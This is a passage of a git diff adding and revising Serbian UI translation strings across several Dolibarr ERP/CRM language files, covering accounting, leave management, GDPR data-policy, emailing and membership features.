QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/sr_RS/compta.lang b/htdocs/langs/sr_RS/compta.lang index f1b909b9fc6..f196af85726 100644 --- a/htdocs/langs/sr_RS/compta.lang +++ b/htdocs/langs/sr_RS/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (before) Balance=Stanje Debit=Izlaz Credit=Ulaz +AccountingDebit=Izlaz +AccountingCredit=Ulaz Piece=Računovodstvena dokumentacija AmountHTVATRealReceived=Neto prihoda AmountHTVATRealPaid=Plaćeno neto @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Obriši uplatu poreza/doprinosa DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Uplate poreza/doprinosa CalcModeVATDebt=Mod %sPDV u posvećenom računovodstvu%s. CalcModeVATEngagement=Mod %sPDV na prihodima-rashodima%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Naćin obračuna AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/sr_RS/contracts.lang b/htdocs/langs/sr_RS/contracts.lang index 3736b3aea10..55e871b6679 100644 --- a/htdocs/langs/sr_RS/contracts.lang +++ b/htdocs/langs/sr_RS/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Ugovori/Pretplate ContractsAndLine=Ugovori i linije ugovora Contract=Ugovor ContractLine=Linija ugovora +ContractLines=Contract lines Closing=Zatvaranje NoContracts=Nema ugovora MenuServices=Usluge @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=Premesti uslugu u drugi ugovor. ConfirmMoveToAnotherContract=Izabran je novi ugovor i ova usluga treba biti prebačena na novi ugovor. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Obnovi liniju ugovora (broj %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Datum isticanja NoExpiredServices=Nema isteklih aktivnih usluga ListOfServicesToExpireWithDuration=Liste usluga koje ističu za %s dana @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Kontakt klijenta koji potpisuje ugovor HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/sr_RS/datapolicy.lang b/htdocs/langs/sr_RS/datapolicy.lang new file mode 100644 index 00000000000..56596b25f98 --- /dev/null +++ b/htdocs/langs/sr_RS/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Klijent +DATAPOLICY_TIERS_PROSPECT = Prospekt +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Dobavljač +DATAPOLICY_CONTACT_CLIENT = Klijent +DATAPOLICY_CONTACT_PROSPECT = Prospekt +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Dobavljač +DATAPOLICY_ADHERENT = Član +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/sr_RS/dict.lang b/htdocs/langs/sr_RS/dict.lang index f53c973b2a7..e04bbfe0af3 100644 --- a/htdocs/langs/sr_RS/dict.lang +++ b/htdocs/langs/sr_RS/dict.lang @@ -21,7 +21,7 @@ CountryNL=Holandija CountryHU=Mađarska CountryRU=sija CountrySE=Švedska -CountryCI=Obala Slonovače +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Kamerun @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Gđa. +CivilityMMEShort=Gđa. CivilityMR=Gdin. +CivilityMRShort=Gdin. CivilityMLE=Gđica. CivilityMTRE=MR CivilityDR=DR diff --git a/htdocs/langs/sr_RS/ecm.lang b/htdocs/langs/sr_RS/ecm.lang index fe6c8096946..b3d5844c525 100644 --- a/htdocs/langs/sr_RS/ecm.lang +++ b/htdocs/langs/sr_RS/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Ručni folder ECMSectionAuto=Automatski folder ECMSectionsManual=Ručna struktura ECMSectionsAuto=Automatska struktura +ECMSectionsMedias=Medias tree ECMSections=Folderi ECMRoot=ECM Root ECMNewSection=Nov folder @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Broj fajlova u pod-folderima ECMCreationUser=Kreirao ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Automatski folderi su automatski popunjeni prilikom dodavanja dokumenata iz kartice nekog objekta.
      * Ručni folderi se mogu koristiti za čuvanje dokumenata koji nisu vezani za neki određen objekat. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Folder %s je obrisan. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Potraži po ključnoj reči diff --git a/htdocs/langs/sr_RS/holiday.lang b/htdocs/langs/sr_RS/holiday.lang index c755ad5cfac..d46786b5ad0 100644 --- a/htdocs/langs/sr_RS/holiday.lang +++ b/htdocs/langs/sr_RS/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Mesečna promena MenuAddCP=Novi zahtev za odsustvo +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Zatraži odsustvo DateDebCP=Početak @@ -56,6 +58,7 @@ ConfirmDeleteCP=Potvrdi brisanje zahteva za odsustvo? ErrorCantDeleteCP=Greška, nemate pravo da obrišete ovaj zahtev. CantCreateCP=Nemate pravo da kreirate zahtev za odsustvo. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Morate izabrati početni datum. NoDateFin=Morate izabrati završni datum. ErrorDureeCP=Vaš zahtev za odsustvo ne sadrži radne dane. @@ -79,6 +82,8 @@ MotifCP=Razlog UserCP=Korisnik ErrorAddEventToUserCP=Greška prilikom kreiranja vanrednog odsustva. AddEventToUserOkCP=Kreiranje vanrednog odsustva je završeno. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Prikaži log izmena LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Prethodno stanje NewSoldeCP=Novo stanje alreadyCPexist=Zahtev za odsustvo već postoji za ovaj period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Grupe +users=Korisnici +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/sr_RS/mailmanspip.lang b/htdocs/langs/sr_RS/mailmanspip.lang index 591621e408c..ce7a4e2c421 100644 --- a/htdocs/langs/sr_RS/mailmanspip.lang +++ b/htdocs/langs/sr_RS/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Subscription test was executed successfully MailmanDeletionSuccess=Unsubscription test was executed successfully SynchroMailManEnabled=Mailman će biti ažuriran SynchroSpipEnabled=SPIP će biti ažuriran -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator password +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=URL za Mailman prijave DescADHERENT_MAILMAN_UNSUB_URL=URL za Mailman odjave DescADHERENT_MAILMAN_LISTS=Lista(e) automatskih prijava novih članova (odvojenih zarezima) diff --git a/htdocs/langs/sr_RS/mails.lang b/htdocs/langs/sr_RS/mails.lang index e8308544a90..46f1d76ed8b 100644 --- a/htdocs/langs/sr_RS/mails.lang +++ b/htdocs/langs/sr_RS/mails.lang @@ -7,10 +7,10 @@ MailCard=Emailing kartica MailRecipients=Primaoci MailRecipient=Primalac MailTitle=Opis -MailFrom=Pošiljalac +MailFrom=Od MailErrorsTo=Greške za MailReply=Odgovori -MailTo=Primalac(oci) +MailTo=Za MailToUsers=To user(s) MailCC=CC MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Subjekti SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/sr_RS/main.lang b/htdocs/langs/sr_RS/main.lang index 93c6129c492..f8ea9a3c7d5 100644 --- a/htdocs/langs/sr_RS/main.lang +++ b/htdocs/langs/sr_RS/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Dostupne zamenske promenljive NoTranslation=Nema prevoda Translation=Prevod +Translations=Translations CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Validno Approve=Odobri Disapprove=Odbij ReOpen=Ponovo otvori +OpenVerb=Otvoreno Upload=Upload ToLink=ink Select=Izaberi @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Korisnička grupa nije definisana Password=Lozinka -PasswordRetype=Ponovo unesi lozinku +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Dosta funkcionalnosti/modula su deaktivirani u ovoj demonstraciji. Name=Ime NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Opis DescriptionOfLine=Opis linije DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Događaj @@ -344,7 +353,7 @@ KiloBytes=Kilobytes MegaBytes=Megabytes GigaBytes=Gigabytes TeraBytes=Terabytes -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Događaji vezani za ovog člana ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s kasni ToDo=Na čekanju Completed=Completed @@ -517,6 +527,7 @@ or=ili Other=Drugo Others=Drugi OtherInformations=Other information +Workflow=Workflow Quantity=Količina Qty=Kol. ChangedBy=Izmenio @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Fajlovi i dokumenti u prilogu JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=Funkcionalnost deaktivirana MoveBox=Move widget Offered=Ponuđeno NotEnoughPermissions=Nemate pravo da izvršite ovu operaciju +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Ime sesije Method=Metoda Receive=Primi @@ -798,6 +811,7 @@ URLPhoto=URL fotografije/logoa SetLinkToAnotherThirdParty=Link ka drugom subjektu LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link ka narudžbini LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiscal year ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Ugovori SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Troškovi SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=Na čekanju Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Kurs +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Interni korisnik +ExternalUser=Spoljni korisnik diff --git a/htdocs/langs/sr_RS/members.lang b/htdocs/langs/sr_RS/members.lang index 992b739b33f..cf5ee4be072 100644 --- a/htdocs/langs/sr_RS/members.lang +++ b/htdocs/langs/sr_RS/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Drugi član (ime: %s, login: < ErrorUserPermissionAllowsToLinksToItselfOnly=Iz sigurnosnih razloga, morate imati dozvole za izmenu svih korisnika kako biste mogli da povežete člana sa korisnikom koji nije Vaš. SetLinkToUser=Link sa Dolibarr korisnikom SetLinkToThirdParty=Link sa Dolibarr subjektom +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Lista članova MembersListToValid=Lista draft članova (za potvrdu) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Novi član @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=Novi doprinos NewSubscriptionDesc=Ovaj obrazac Vam omogućava da snimite svoju pretplatu kao novi član fondacije. Ukoliko želite da produžite pretplatu (ukoliko ste već član), molimo Vas da kontaktirate fondaciju putem maila %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Trajanje +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Kasni SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Sadržaj Vaše kartice člana # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Obrt (za kompaniju) ili budžet (za fondaciju) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Pređi na integrisanu online stranicu uplate +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/sr_RS/other.lang b/htdocs/langs/sr_RS/other.lang index b9561452741..4d6e35598c2 100644 --- a/htdocs/langs/sr_RS/other.lang +++ b/htdocs/langs/sr_RS/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Komercijalna ponuda je potvrđena Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed 